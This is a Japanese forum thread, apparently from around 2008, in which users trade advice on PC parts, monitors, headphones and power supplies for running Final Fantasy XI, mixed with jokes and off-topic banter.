うちは夏は掃除機並

クーラーから直接冷風マジおすすめ

電源入れなければ超静か＋超低消費電力

隣の部屋にPCおけばいいよ

>>385
極端だなｗ

でかいヒートシンクに大口径ファンを低速で回せば
冷却と静音はある程度のレベルで両立できるだろ

Spybotが書き込んだhostsファイル(危ないアドレスを自分のIP宛にする)を
ウィルスバスターが丁寧に「危ないファイルを発見したニダ！」って言ってその箇所だけ消していくんだけど
なんなの？

>>392
どっちかにしろって事だろ

NVIDIAの廃エンド買う層は価格とか消費電力とか廃熱とか度外視で
とにかくベンチのスコアが良ければいい人たちだったんだけどな

CPU：Athlon 64X2 3800+
メモリ：DDR PC3200 2GB
HDD：160G
VGA：Geforce6600GT
ヘッドホン：SONY MDR-XD100
OS：64bit Edition
FFXIベンチマーク3：low=7570

>>385
人間馴れとは恐ろしいもんで、超爆音PCでも馴れてしまえばぜんぜん余裕
それに冷却能力が高いお陰で、一応耐久性や安定性の向上にも期待できるしな

dual coreのamd opteron processor170って
同じ性能のintelのcpuだとどの辺になるの？

>>385
冷えないけどそこそこ爆音
も忘れてもらってはこまる！

>>397
同クロックのPentiumDC E2180 (2GHz)ぐらいじゃね？

>>385
今回のスレタイよく読め。

ヘッドフォンの相談
今MDR-CD900ST使用してるんだが、音の編集とかにはとても優れてるんだ
けどネットゲームとかにこれ使用するとノイズとかハッキリと拾っちゃってどうもダメなんだ
予算5000円程で、MDR-CD900STみたいに軽くてネトゲーに合うヘッドフォンって無いか？

5千円くらいじゃ音質は大して変わらないから、装着感が良い物でオーテクのAD300あたりが適当か
淀やビックなんかだと試聴できるので近くにあるなら行ってみるといい

5,000円ぐらいだとスピーカー買った方が音がいいんだよな。
PC用スピーカーで5,000円ならかなりいいもの買えるけど、
ヘッドフォンはPC用なんて無いからオーディオの相場で3万以上出さないとまともなの買えない。
安いヘッドホンは音質追求するものじゃないな…。

5000円の糞ヘッドホン買うくらいなら900STそのまま使ってノイズ源潰した方がずっと良い

五千円のヘッドフォンを買うぐらいなら2000円のヘッドフォンを買ってきて
残りの3000円でなんか食ったほうがマシな気もする。

ぶっちゃけそこら以下のはマジでかわらん。

下手に装着感にこだわるよりも耳栓タイプの方が音がいいんだよな。
値段も最近は1,000円も出せば買えるし。

1万くらいのヘッドセットなら音はそこそこいい
skypeとかにも使える

メガネ付けながらでも快適なヘッドフォンあれば誰が教えてくれ。
普通のヘッドフォンだと耳に引っ掛けてるメガネが圧迫されて痛くな
ってくるんだよな。

ソニーのDS-7000

ソニーのMDR-DS6000
ワイヤレスなかなか使い勝手がいいよ。音響考えなくても一応サラウンドだし

Athlon64 LEってどうなんだい？
かなり発熱低そう

>>411
TDP45W
ファンレスは無理だが、ファンゆるゆる程度なら運用できそうだな。

キャッシュ1Mあるし少なくとも無印のAthlon64〜3800+よりは良いだろうと思う。
でも今からその価格帯で買うならPentiumDCだろうなぁ

PenE買うぐらいなら45wの4850eにチップセットAMD780だっけ？かのM/B買った方がお買い得感は高いような
CPUの性能がインテルの方が優れてるのは一切否定しないが
インテルの場合、安めのマザーにあんまいいのないのがなあ・・
AMDはその辺の価格帯はコスパ面でインテルより優れてるし

>>414
そのお買い得感とセットでアップグレードパスがない買い切りの使いきりというのも付け加えて欲しい。
もちろん悪い意味ではないけど、安いなりに延命は無理だから性能的に見劣りしてきたら
全部取り替えるのは前提条件なのがAMD。

>>415
それはそうだろうね
まあ、でも元が安いからある程度の期間使えれば十分だろうし
上のセットだとCPU+M/Bで20.000円割り込むぐらいじゃね？
そもそもある程度以上のスペック要求する人なら、漏れがあげた>>414の組み合わせなんて
見向きもしなそうだしなｗｗｗ

>>416
FFXI程度なら十分だけどなｗ

ネットマシンだけどダウンクロックしたファンレス仕様も意外に快適なんだと最近思うようになった
XPって軽いんだねぇ今年の夏はファンレスに初挑戦してみます
200x6倍＋大き目のCPUヒートシンクだから多分大丈夫だけど。

XPが軽いと言うよりハードが進歩したというか・・・。

でも今のCPUなら無駄にならないんじゃない？
3Dゲームをしたり動画を見ない限りなら、ファイルサーバとかweb閲覧専用とか
今のMBならRAID1を積んでるのも普通だしさ

昨日エルミの2005年辺りの記事見てたけど、
今って本当CPU安くて高性能なんだよな・・・
2.3年前なんて今じゃ5000円程度で売られてるCPUが8万とか・・・・ｗ
まじでメーカー製のPCよりワンランク上のPCを自作してみたい！みたいな人達には良い時代だぜ・・

シングルで高クロック路線だったからね。
マルチコア化したら安くなるわな。

まあＰＣゲームでマルチスレッド化され始めたのはまだごく最近のことだから
クアッドコアとかがが当たり前になるのはまだ２・３年はかかる気がする。
何が言いたいかというとまだまだ北森は現役です＾＾

>>423
YE------ d(ﾟ∀ﾟ)b ------S!!
北森ユーザーはもう性能云々で見限る事はしねーからなｗｗｗｗｗｗ
物理的にCPUなり予備のマザーなりが破損するまで使い続ける漢なんだとおもうｙ

のーすうっどってPen4の事？

FFするだけならPEN4＋GF5600で十分。
下手にいじらないほうがいい。

FF11プレイしてる人は意外とまだP4現役で使ってる人多いね

北森はＰｅｎ４の中で唯一まともな子だと思うよｗｗ
ＡＭＤ派なのでオレのそうぞう（笑）だけどなｗ

>>425
ソケット478キャッシュ512KBの限定な
1MBとかソケット775のヤツは悪名高いプレスコット

>>426
> FFするだけならPEN4＋GF5600で十分。
いや、ちょっと待て

4870x2待ちでいこうかと思ってるんだが
電源550Wじゃきついかね？

>>431
環境もわからんのに答えられるエスパーはいないと思うが、敢えて無理といっておこう

ですよねー

CPU：Core2Duo E8400
M/B：ASUS P5K無印
MEM：1GB DDR2 x2
VGA：RADEON HD3850
SOUND：Sound Blaster X-Fi XtremeGamer
POWER：Abee AS Power Silentist S-550EB
OS：WindowsXP Home Edition(SP3)

>>433
HDDは？

>>433
だから無理
コンバインで32Aしかない電源じゃどうあがいても安定しないか起動しない

たぶんカードに刺す電源コネクタの数からして足りないんじゃね、とか？

あ、ごめん。書き忘れてた。
WesternDigital WD740ADFD　x1
Seagate ST3500320AS　x1

ヘッドホンはHD650
5万位したが後悔はしていない

>>433
8pin+6pinもしくは、8pin+8pinになるかもしれないのにね＾＾；

どんな電源がオヌヌメですかい先輩。

>>413
新品相場みたけど
AthlonLEが4500円〜
PentiumDCが6500円〜
くらいだけど最低モデルで比べたらどっちがいいのかな？
マザボはLGA775の砲が若干安いんだよなあ

>>440
大人しく2台積めば？
どうしても1台がいいなら1000W級

>>441
Intelにしておけ。

ヘッドフォン
audio-technica社のATH-PRO30
安物だけど音質は十分以上に聴かせてくれる良い奴

でもやっぱり安物だから長時間つけてると頭がつらくなる

>>441
シングルよりは断然デュアルコアの方がいいよ。
2000円余分に出して買う価値は十分にある。

どうしてもAMDがいいなら4050e〜4850eのどれかがオススメ

>>442
さすがに大人しく電源2台はボクには無理です(´；ω；｀)
1000Wとか4万もするじゃないか・・・

3850からならかなりの性能うｐ見込めるみたいだし
4870で妥協しようかと思ったけど、なんか4870すらきつそう？
4850・・・なのか・・・

>>441
これなんかどうだ
http://www.sofmap.com/product_detail/exec/_/sku=10865993/-/gid=PS09020000
http://www.sofmap.com/product_detail/exec/_/sku=10922372/-/gid=PS02020000

Intelは逝ってる

そもそもHD4870なんて今買おうと思ってもまず無理。
ヤフオクのぼったくり価格なら帰るかも知れんが、市場に潤うにはまだ２ヶ月ぐらいかかるんじゃね

GDDR5次第だねHD4870は

>>445
なるへそー
シングルとデュアルって単純に比べるの難しいな・・・
ＤＣはＯＣ耐性すごいらしいから
マザボ慎重に選ぶべきか
>>447
X2とPenDCどっちがいいのか悩むな
>>448
関係ないけどインテルのＣＭに従妹がチョイ役で出たのを思い出した

>>446
シーソニックのM12/SS-700HMでもどうだい？

元々3万↑のグラボなんてそうバカスカ売れるもんじゃないし7月中には収まりそうだけどな

これから夏本場だしな、新グラボ入れるなら電源の他にも、
冷却をちゃんと考えないとヤバイんじゃね？


あとちょっと宣伝
今日7/2は2ch人気トナメで、親元の自作PC板さんが出場してますよ
他にも週間漫画少年さんとか、競馬さんとかね

気になったら投票してやってちょ、↓を参考に〜
ttp://live27.2ch.net/test/read.cgi/ogame/1214677967/786

冷却と言えば、先週マシン内掃除したらすっげーホコリ溜まってたわ
設置場所変えたのがまずかったのかも知れん
お前らも夏前にマシン内見とけよ

FF用のPCとして今から次世代MMOに合わせてPC作っても確実にゴミになるだろうから、普通にffxiが動く
おとなしめのPC組んだほうがいい。

CPU E2180
M/B 945GC
MEM 1G
SOUND オンボード
HDD 40G
グラボ 8400GS

BTOで売ってる最安PC並みのスペックのPCに並みのグラボ積むだけみたいなPCで十分。
これ以上早いPC組むと寝バザしてるだけで電気代が月3,000円とか、しゃれにならない事になる。

>>455
空気吸い込みそうなところに、クッキングペーパーのリードを両面テープで貼り付けておくとかなり埃を吸い込まなくなるぞ。
PC使ってるだけで埃っぽい部屋の空気が綺麗になって一石二鳥。

吸気部分にフィルターするのはいいけど通気性に注意な
通気が悪くなると、DVDドライブの隙間とかから吸気しちゃうから

>>456
AthlonBE+AMD780Gでいいじゃん。

>>459
綺麗じゃなくても良いならありだろうな
グラボを載せるならどっちでも大して変わらん

GMA950とRadeon3200じゃぜんぜん違うだろ・・・

>>460 漏れは今780内蔵でFFやっているが非難する程
酷い画質じゃないぞ。一応HI3000以上ベンチで出るし。
漏れの場合CPUは5600だけど

5600+とかもう10000切ってるのなw
優秀なのに…

>>459
AMDはPOLがQnQで落ちるから使わないほううがいいよ。

ハードオフのジャンク品コーナーの品だけで動くPC作る

ボーナス入ったので今あるPCをセカンドにして、
メインPCを組もうと思っているのですが、
最近のPC事情に疎いので、オススメの構成を教えて頂きたく書かせていただきました。

予算は30〜35万でモニターを出来ればﾌﾙHD、ケースはCosmos1000かThermaltakeのアーマーを考えています。
よろしくお願いいたします。

もうちょっと具体的に何をしたいかを書いた方がいいんじゃないか？

極端すぎるが、デイトレードにオススメのPCとか勧められても泣くだろｗ

それだけ予算が取れれば、最新系のパーツ全部揃えても余裕な気が。
モニタ１０万出せばフルHD買えるし、何も迷う場所が無さそうに見える。
俺なら逆に予算があり過ぎて困るかもしれん35万もあったら。

３０〜３５とか鬼スペックいける

このスレ(板)で質問してるんだからFF11目的に決まっておろうが

そうじゃなければ自作板行くはずだしな

コピペだがこんなのはどうだ？

【M/B】SuperMicro H8DA8-2 Rev2.01
【CPU】AMD Opteron 2224SE(3.2GHz)×2
【Mem】DDR2SDRAM PC5300 RegECC 1GB×8 8GB
【HDD】WestenDigital WD1500ADFD 150GB×4 nVRAID0+1構成
【光学ドライブ類】Panasonic SW-5583
【VGA】Zotac GeForce 280GTX
【電源】KEIAN KT1000-EAJ
【OS】 WindowsVista Ultimate 64bit

>>467
失礼しました。
用途はネトゲ、エンコードがメインです。

35万だとCPUにQX9770、GPUにGeForce GTX280SLIで予算オーバーだな

>>472
更にねちねちとアレだが

ネトゲはネトゲでも
ネトゲ名
3Dか2Dか
それがどの程度動けば良いのか

エンコする場合はエンコ中に他のアプリを動かすのか

エスパースレじゃないんだから具体的に書こうぜ？
まあ予算30万程あるなら現状の最高の奴でいいんじゃね？

レスありがとうございます。
>>474
現状はFFのみです。
エンコ中に他アプリを動かす場合もあります。

あとづけで申し訳ありませんが、XPSP2が一つあまっているため、
OSはそれを使おうと思っています。

値段の幅が大きいのはCPUとディスプレイ
C2E使うと良いディスプレイは買えないな
C2Qなら結構良いディスプレイが買える
他は誤差

モニタはHD2452Wにゴー

>>475
CPUは全部均等にメインPCでやりたいならクアッドコア、
エンコは動画だと思うけど、エンコしてる時間の割合が低かったり、
寝てるときにやればいいんだったり、サブPCの方に持って行けるなら
クロック高めのデュアルコアでいいんじゃないかな。

グラボは今ならRadeonHD4850かなぁ。熱だけ怖そうだけど。

HDDは500GBか、好みで500GB*2で1個はデータ用

モニタはそれだけ予算があるならMDT242辺りがいいんじゃないか？

これでCPU40k+グラボ25k+HDD15k+モニタ90kってイメージでやったみたけど、
他の部品は鉄板のものを選んで、後は好みで変えてみればいいんじゃないか？

>>477
ナナオのHDシリーズの目つぶし具合はマシになったん？

>>479
個人差があるから俺からは何とも言えん
自分で見てきたほうがいいよ

まともなスルーモード、1080/24pが欲しければ2452Wしかない

モニタ １０万ちょい？残り２０万

８００Ｗ＋な電源(安物は回避すること）
QuadCore な IntelCPU（こことマザボ-P45あたり?で予算調整）
メモリは4GB
RadeonHD4850 か Geforce9800GTX(+)あたり
Intel PRO1000/PT とかのまともなNIC
HDDは２個以上。ＯＳ・IME・ブラウザ等とそれ以外（FF11・データ）。

　HD4870 とか GTX280とかは予算オーバーだろうな。

金持ちウラヤマシスｗｗ　専門のスレ覗いたほうが良い気もする。
1台にそこまで金かけるより、用途を分けたほうが幸せかも知れない。

FF11/ネトゲ用・・・本体10〜12万前後のミドルレンジタワー
　　　　　　　　　　　　（これでもFFには激しくオーバースペック）
Web/メール用・・・10万以下のノートPC
モニタ・・・24インチワイド　or　一人暮らしならPC対応の液晶TVもいいと思う
　　　　　　モニタも10万かければ結構良い奴が買えると思う。

参考スレ。
■【構成】BTO購入相談室【見積もり】■53
ttp://pc11.2ch.net/test/read.cgi/pc/1214723008/

【初心者】液晶 モニタ購入相談質問スレ9【歓迎】
ttp://pc11.2ch.net/test/read.cgi/hard/1209747432/

具体的な構成はつぎで。

PC本体の参考構成。モニタなし。ケース、OS、KBD、マウスはご自由に。
最近のミドルレンジ〜ややアッパーミドルクラスだと思う。

【購入店】takeone　【合計金額】 138862円
【構成の基本モデル】 Core2D 45-ST
【CPU】LGA775 Core2Duo E8500 (3.16GHz/6MB/FSB1333MHz)
【CPU-FAN】Scythe 刀2 SCKTN-2000
【マザーボード】ASUS P5Q P45+ICH10R 4(DDR2/800/667) 1(PCI-Ex16) 2(PCI-Ex1) 3PCI SOUND G/LAN USB2.0 SATA 1394
【メモリ】PC6400 DDR2 DDR800 合計2G 1GB二枚JEDEC
【HDD】HITACHI HDP725050GLA360 500GB 16M 7200 SerialATA 3Gb/S
【光学ドライブ】LG GH20NS10 Nero POWER DVD付属
【ビデオカード】Leadtek PX8800GT-TDH 512 PCI-Express x16 /512MB DDR3 /DVI-I /TV-OUT 在庫限り
【サウンドカード】Intel HD ハイディフィニションチップセットオンボード機能 7.1ch オンボード機能
【LAN】 ネットワーク LAN オンボード機能
【ケース】Antec P-180 電源なし
【電源】Seasonic SS600HM
【OS】Microsoft Windows(R) XP HOME Edition OEM
【キーボード、マウス】なし
【用途】ネトゲFEZ、FPSサドンアタック等

一番いいのは
2世代前のメイン機→静音、低消費電力仕様に換えてFF専用機
1世代前のメイン機→ネット、エンコ専用
今年のボーナスで買ったメイン機→ネトゲ、FPS専用

FFXIは付けっぱなしにする事が多いから快適さよりも低消費電力仕様で組んだほうが幸せになれる。

次はPC向けの液晶モニタ。個人的に三菱のノングレア22インチが
結構気に入ってるのでお勧めしてみる。グレアとノグレアは個人の趣味による。
液晶だけは店頭で現物見てから決めてくれ。

三菱 RDT241W / RDT241W(BK) 実売価格：7万〜8.5万
ノングレア・ＰＣ向けの入力端子のみ
ttp://www.mitsubishielectric.co.jp/home/display/

三菱 viseo MDT242WG 実売価格：8.5万〜9.5万
グレア(てかてか)・ＰＣ＋ゲーム機向けの入力もあり
ttp://www.mitsubishielectric.co.jp/home/display/

男一人暮らしの友人は、15万で買った37インチのアクオスに
PCを映してるけど、FFは大画面で快適そうだった。大画面好きならオススメ。
この辺はライフスタイルの依るのかな。

ナナオ製品には強烈なアンチが沸くからな。
自分で見たほうがいい。
あと調整出来るという当たり前のことも忘れるなｗ

三菱も昔は一流ブランドだったのに、NECと合併してから2流に落ちたな。
ドット抜け有ったら交換します ぐらいのサービスしないともう復活はありえないだろ。

http://kakaku.com/item/00857012574/

これでよくないか？フルHD4万

AMDの省電力クアッドが発表されたね

>>485
ちょっと待て、242WGがテカテカなのは枠だけで、
パネルはノングレアだろうが！

ぶほっ、マジで？！すまん。気づかなかった。

モニターはオススメもあるけど、自分で実機見たほうがいいと思うけどなぁ
TNでも満足できる人なら安い方がいいだろうし
満足できないなら10万〜とかになるし価格差が激しいぞ
パネルはこれがいい！って決めてるならいいんだけど
一番目に付いて長く使うもんだし、自分で納得したもの買ったほうがいいとは思うよ

>>488
2400は視野角が強烈に狭い以外は悪くない
ねっ転がったりすると見えない

モニタは頻繁に買い換えるものでもないし、なにより「眼」と言う生涯変えの利かない
自分の身体を酷使する場所なので、ここだけは手抜かないで良いものにした方がいいよ。

沢山のレスありがとうございました。
レスを参考にお店で実際見て決めます。
なにかありましたらまたレスさせていただきたいと思います。

>>466
30マンちょいじゃお勧め環境オーバーしちゃうな・・液晶だけで20マンほど欲しいよ

予算にあったオススメを聞いているだけで、
おまえさんのオススメを聞いている訳じゃないから

ハーフHDのαIPSパネルのVIERAって液晶テレビをFF用に10万ほどで買ったんだけど良い感じだよ

いるよな>>496みたいなやつw

>>498
そんくらいの解像度が一番画面全体に対して文字のバランスが良くってプレーし易いよな。
脳筋ジョブならともかく、後衛やるならフルＨＤとかツール無しじゃ厳しいと思うんだが。

どうせなら完全に良パーツで揃えたマシン組んでみたいが金がネエな・・・

どうせ行き着く先は鯖機みたいなかんじになるだろうが

Antec、原油/鋼材高騰でPCケースの価格を値上げ
http://pc.watch.impress.co.jp/docs/2008/0702/antec.htm

他のパーツもジワジワ上がってくるかな？
ほとんどの主要部品は中国、台湾だからそこまで影響ないが
CPUはやばいなｗFab→パッケージ封入→卸〜
最低でも２回以上は運ばないといけないから、原油高でキビしいかもなｗｗ

鯖機のビデオコントローラは・・・・

鋼材がなければアルミにすればいいのに

>>501
FF用ということで定格の上限だと

CPU:Core 2 Extreme QX9770
Memory:4GB
HDD:iRAMx2-RAID(Stripe)
GPU:Geforce9800GTX+
OS:WindowsXP SP3

あたりなのかにゃ。

>>504
パンがなければお菓子を食べればいいじゃない

>>506
断頭台送りにされるんですね、わかります。

パンツがなければお菓子を食べればいい
に見えた。

素っ裸で捕まるから>>507になるんだなと勘違いしつつ納得。

>>465
あそこのは基本ほんとのガラクタだから期待するな

　　　 ＿ /⌒ヽ
　／ /　￣ `ヽ
/　 （リ从 ﾘ）,）ヽ
|　| |　 ． '　．Y |
| (| |　"　ヮ " | | ねんがんの HD4870 2枚目を 手に入れたぞ
|　ヽ`>、＿ .ノ_ﾉ
|l　(⌒) [水] l
|l /| └ｎ/ｌ二二二.ｌ
ﾘ/ `ー`//　　　　/)

ハードオフとかこんなもんになんでこんな値段が付いてるの？ってものしか無い気がする
あと用途不明品大杉

用途不明品って単に自分が知らないだけだろう

>>511
あそこは元々脱税用の会社らしい
さらに値段は店長の独断らしい
うちの地元も化石の様なPenII時代のマザボが1500円とかだ
無論ジャンク

>>512
そうゆう意味ではなく、こんなもん今時何に使うの？ってヤツよ
ケーブルとかボード類とか

>>504
アルミは電気精錬だ。水力でアルミを作ってる工場はアイスランドとカナダにしかない。
かなりの量ではあるが、結局原油価格の高騰に煽られる。
需給バランスが狂って値上がりしてる鋼材よかタチわるいかもしらん。

鋼材もアルミもダメならこれでいいじゃない
http://www.pc-zeus.com/index.html

>>511
昔、YAMAHAルータのRT57i（開封済みほぼ新品)が5000円とかで売ってたことがあってだな…

>>514
部品取り

コンデンサとかケーブルの芯欲しい奴いるのか。俺には分からん世界だ

昔のアキバはそんな世界の人だらけだったのよ

昔のアキバなら分かるがそこらへんにある今のハードオフの話だぞ？ｗ
部品取りでも値段の割に合わないものの方が多いだろうし、
棚埋めるために置いたとしか思えないもんばっかり

電源スイッチがクリトリスなメイド下半身のケース欲しいは

へ、変態だー

ttp://karmamilk.seesaa.net/article/62626487.html

これかｗｗ

>>524
メードボディのPCケース−「絶対領域黄金比率」

なんだか絶対運命黙示録みたいな名前だな。

　

>>525

もくししくももくししもく　くもしくも？

かしらかしら？ごぞんじかしら？

世界を革命する力を！

って何のスレだよｗｗ

アルファIPSなかなかいいよな
ゲーム用と割りきれば液晶テレビも悪くない
ただ遅延だけ先にリサーチしてから買わないといけないけど

>>527
　　　　　　　　　　んとね→
　　　　　　　　　| もちむしむちもちむしパン（鼻
　　 ヽr‐-､/　　レ　　 ,,ｎ‐ｈ、
. ⌒刄ﾋァ';,ﾟ⌒ヽ、　　ｒ⌒⌒'ミ
　 ノﾒ ,ﾘ　ﾉﾉﾊlﾊ） 　 （(从!Nλ
　 （(ヽヽl (! ゜ヮﾉ'　　λﾟдﾟ;汐　＜ …もちむちもしむし……？
　 ,_）)　(ﾇうr===n　 /(う「~~]O

話についてこれないてヤツがいるからYoutube貼っておくわｗ


もくししくも
http://jp.youtube.com/watch?v=7G_xvzqpibI&feature=related

スレチはここまで。
ついでにあげ

修理頼まれたものがどうにも直らず
マザー入れ替えたり電源入れ替えたりメモリ入れ替えたりと四苦八苦

けれど、ひとっ風呂浴びて初期パーツで組みなおしたら何故か起動
風呂やばい、マジやばい、話のわかるヤツだ

稀によくあるなｗ

おちそう

すみませんかなり久々に自作するのですが
S-ATAのHDDってS-ATAのケーブルを繋ぐだけでいいのでしょうか
マザーに差し込んでもBIOSで認識してくれません（つд`）

電源とHDD繋いだ？

>>538
ｱｯｰｰｰｰｰｰｰｰｰｰｰｰｰｰｰｰｰｰｰｰｰｰｰｰｰｰｰｰ!!!!!!!!!!!!!!!!!!!!!!

なんというエスパー

>>539
おぃぃ！？ｗｗ

感動した

こういうエスパーは本人が一度やったことのある失敗じゃないと無理じゃね？ｗ

あと認識しているのにHDD使えないってなって
OSの管理なんとかでフォーマットしないといけないってのに小一時間はまったことがある

>>544

コンパネ　→　パフォーマンスとメンテ　→　管理ツール　→　コンピューターの管理　→　ディスクの管理

だよな。　知らないとここで詰まるｗ

認識されてるならマイコンピュータで右クリックすればフォーマットあるだろ。

fdiskだろ

ヘッドホンは耳が痒くなるから嫌だなｗ
コードレスでブルートゥースみたいに音遅れが無くて良いイヤホン無いかな？
イヤホンでドルビサラウンド対応とかは無茶だよな・・・

>>517
それってDCネット時代に公式で使えると宣伝してたやつだっけ？
当時オクで４万とか５万してたよね。
俺も中古で３万ぐらいしたし。

rt5xx　シリーズは新品で3万くらいじゃね？
４、５万はボラレテルヨ。

>>548
骨伝導ヘッドホンとかは？
よくしらんけど。

>>550
当時は品切れですごく高騰してたよの。
定価１万のBBAも高いと４、５万してたはず。
PSOが出てテレホ組がフレッツISDNに切り替えてる時期だったと思う。
需要が半端なかった。

そこまでYAMAHAルータが良かったのかｗ
その時代なら1万5千くらいでoptとかのほうがコストパフォーマンス面でも良かった記憶。
わざわざYAMAHA買うって物好きな人も多いんだね。

>>548これどうだい？
http://kakaku.com/item/20466511061/
つけても蒸れないし音質も上位クラス
問題は音漏れだが・・・

あ、コードレスっすね　さーせん

>>548
ttp://www.jp.sonystyle.com/Qnavi/Detail/DR-BT25NX.html
こんなのか？

ごめんねかーちゃんLinaxでごめんね

レスTHX

>>566
それ俺も良いなと思っていたが、Bluetoothなんだ・・・

＞※Bluetooth無線技術の特性により、通話や音声再生時に音声がわずかに遅れます

音楽聴くだけなら良いけど、ゲームするのにはちょっとな・・・

スマソ>>556の間違え

>>548これっきゃねえぜ　Bluetoothイヤホン
http://www.amazon.co.jp/dp/B000KK4G00/ref=nosim/249-8277175-5209166?tag=etymoticresearch-22&linkCode=sb1&camp=663&creative=3399

で、でたー！　fdisk /mbr する奴
UNIXとかで使ってたのってこれしないと認識しなかったよな。

>>553
RTが重宝されたのはTELポートが複数あって、その間で内線通話が
可能だったから

>>557
なんだそのトイレみたいなの

ttp://www.watch.impress.co.jp/akiba/hotline/20080705/etc_amdev.html
これはないわ

一瞬雷電に見えた

>>562
SIP使うのか、それこそマニアックだ。

設定みたら電話も色々設定出来たんだな。しらんかった。

RT57iだが、WINNY全盛期なネトランで高い評価を得ていてだな…

厨房購入→使い方わからない→ハードオフに売る→店員もわからないので捨て値→わかる奴ｳﾏｰ

ってことがあって暴落した。
未だに予備含めて3台持ってるぜ。

>>566
違うよ

もうすっかり情報ページなくなってて、やっと見つけたのがこれ
ttp://www.cc.rim.or.jp/~r-fukai/texts/howtodcflets.html

セッションテーブルあふれやすいRTが高評価だったのか

セッションテーブルは設定をTELNETから変更すれば大丈夫。

そこで躓いた訳だ。

>>569
すまんかった。持ってるヤツに入って設定ちょろっと見たからその下に書いてる。

オンボードのサウンドなんだけど、
ヘッドフォンとボードの間に何かかませたほうがいいの？

>>573
引越しして電力会社を変えた方が良い

>>573
10万円握って電気屋にいってヘッドホンアンプくださいって言えばいいよ

あまりもな冷たさに俺涙目

USBヘッドホンでおｋ

>>576
泣くな
頭骸骨整形が先だ

だってオンボードではなぁ
彦龍のラーメンにどれくらいコショウかけるのが良いか聞かれてるようなものだし

ヴァナ窓の人ここみてるかな？
ヴァナ窓掲示板にかきこめないからココに書き込むけど

HD2900ｘｔからHD4870にかえたらもっと快適になるかな？
できれば白門競売前のどうがとかを前みたいにうｐしてほしい・・・・

>>580
快適は変化なしで、部屋が爆熱で地獄になるだけじゃ・・？

RT5?iシリーズは法人向けでも普通に使われているな
値段割の機能が豊富で安定してる
UchinoLSの田舎事務所なんかこれだ

単に小規模までCiscoが必要ない(買えない)だけだがｗ

PPTPしか使えないのがちょっと残念

ageとく

FFするだけならハイエンドのビデオカード買う必要が全くないよなぁ
HD4850で満足できちゃうと思うよ。コストパフォーマンスいいし

9600GTなんか12000円とか
えらいことになってるな

ttp://northwood.blog60.fc2.com/blog-entry-2097.html

E8400買うべきか・・E7200買うべきか・・5000+BE買うべきか・・・6400+買うべきか
迷いに迷ったけど、5000＋BE買う事にした。

俺…間違ってないよな？

しらんがな(´・ω・｀)

あーあ…(´・ω・｀)

やっちゃったNE☆(´・ω・｀)

>>587
http://www.4gamer.net/games/039/G003983/20080702026/

先週5600+とTA780 M2+を買った漏れがやってきました。
まだ、ビデオカード買ってません^^;

で、FFのゲーム中の動画撮るにはまだまだ力不足なんだが、
動画撮っている人はどんなスペックで撮っているのか
教えて欲しい。

1PCでキャプチャしたかったらクアッドコアじゃないとむりだね

FFするならMBはRAMPAGE、CPUクーラーはNINJA、メモリと電源はCorsairだな

CPUクーラーはUltra-120EXの黒だろ。
NINJAだけ前後とつりあい取れてない。

乱禿って微妙に中途半端なんだよな・・・　FFだとCFも意味ないし
それよりP5Qでも買ってCPUに金かけた方が幸せになれそう

呼ばれた気がしたので、やってきました。
一応前回と似たような感じになるようにしたつもりで！

前回
http://liveff11.naja.ii2.cc/shiromon.wmv

今回
http://liveff11.naja.ii2.cc/shiromon4870.wmv

たいかんｗだと、4870の方が負荷に強くなった感じかなぁ…。

向こうに面白いスコアがあったので

FFベンチスレ　Part65
http://pc11.2ch.net/test/read.cgi/jisaku/1211211911/416

416 名前：Socket774[sage] 投稿日：2008/07/04(金) 00:02:19 ID:j4NeIkPK
【CPU】[email protected]
【Mem】DDR2-533 2GB
【M/B】GA-GC230D
【VGA】オンボ
【Sound】オンボ
【DirectX】 9.0c
【 OS 】Win2KPro SP4

▼スコア
【Ver.】 3
【Low】
【High】1029

予想以上に厳しいね

>>597
忙しそうなのにわざわざ有難う！
前回は3870×2かな？

4870イイネ！2900XTより明らかに速いな
FFだと4870も4870×2もあんまかわらないかな？

今4870買うかちょっと待って4870×2買うか悩むなあ

FFオススメグラボ教えてくれ。できればゲフォ
どうやらマザボがいったらしい
消費電力70Wくらいの奴をよろしく
8000系は地雷だったよな？

2枚もX2もFFには効果ないって

>>598
その低電圧低発熱CPUで動くのがすごいだろう

>>600
8000系が何の地雷か知らんが
9600GTがたしか3DMark06ブンまわして60-62Wだったかな

ネットサーフィンするには十分すぎる性能だな、アトムｗ

Nvidiaﾔﾊﾞｽｗ　このままいったらIntelあたりに吸収とかもありえるな

ATIがAMDに吸収されちゃったからもう遅いけど
AMD+NVIDIA
INTEL+ATI
になればよかったのにねぇ

SSDやRAMDiskにFF入れると早くなるかな？

起動は早くなっても動作は大差なさそう

ならない。
超既出ループネタ

fps30制限にひっかかるからですか？

>>609
表示オブジェクトが少なくモデルデータもテクスチャも少なくて転送量が少ない。
FPSはグラボの方。

>>609
数年前のパッチで、ストレージデバイス(HHDやSSD)からの
データ読み込み時に制限かけられた。

その理由が、早すぎるとキャラクターが部分部分で描かれる・・・
だったっけ？わすれたにゃー

なるほど、カンパニエやビシージが重いのはHDDと関係ないんですね。ありがとうがざいました。

>>612
どっちかって言うとそれは、鯖のデータ転送制限のせいだと思う。

重いのはこちらからでは対処できないのですね。
話が変わりますがスタンを撃つとして、マクロからとコマンドから手動では手動のほうが遅延が少ないと言われてますが、
実際そうなのですか？
これはスレ違いかな、、

>>614
PS2だとパレット変えたりするとカクつくからそれの事じゃねぇのかな。
PCでそこまで変わった気しないんだがｗ

ほんのちょろっと差だけど、確かに手動のが早い。
まあそこまで気にしないでもいいぐらいだよ。

FFにハイエンドは意味ないと言われても>>597と比べると、うちのPCとは明らかに違うなぁｗ
ヴァナ窓の人のPCスペックが気になるｗ

マクロの方がコンマ何秒か遅い気はするけど
手動はスタンを探す手間が増えるから
どっちもどっちじゃないかな

>>606
HDDを高速にすると、エリアチェンジ後動けるまでが早くなる。
回りの人が見えてくるまでの時間はサーバ側の通信制限のため大して早くならない。
ただ、位置＆名前データを受け取る→装備データを受け取る→テクスチャとかをディスクから読込
→表示なので、まったく変化なし、というわけではない。

　以上を踏まえた上で。RAID(ストライピング)だと、初速（シークタイム）が速くなるわけではないので
案外違いが出ない。HDD自体の速度を高速化（10000rpm な Raptorに変更など）した方が効果が出る。

　SSDだと確かに高速だったが、文字通り高速なHDDレベルだった。

　RAMDISKなら相当高速そうだが、１０ＧＢくらい必要なんで１６ＧBとかメモリ積むことかが必要。無理。
　iRAMでやるなら、同様な理由で3個積んでストライピングとかする必要がある。必要数を入手
できなかったのでやってない。

>>614
1行目に/ma スタン <t> と書いてあれば回線種類・状態の方が遥かに重要な差になる。
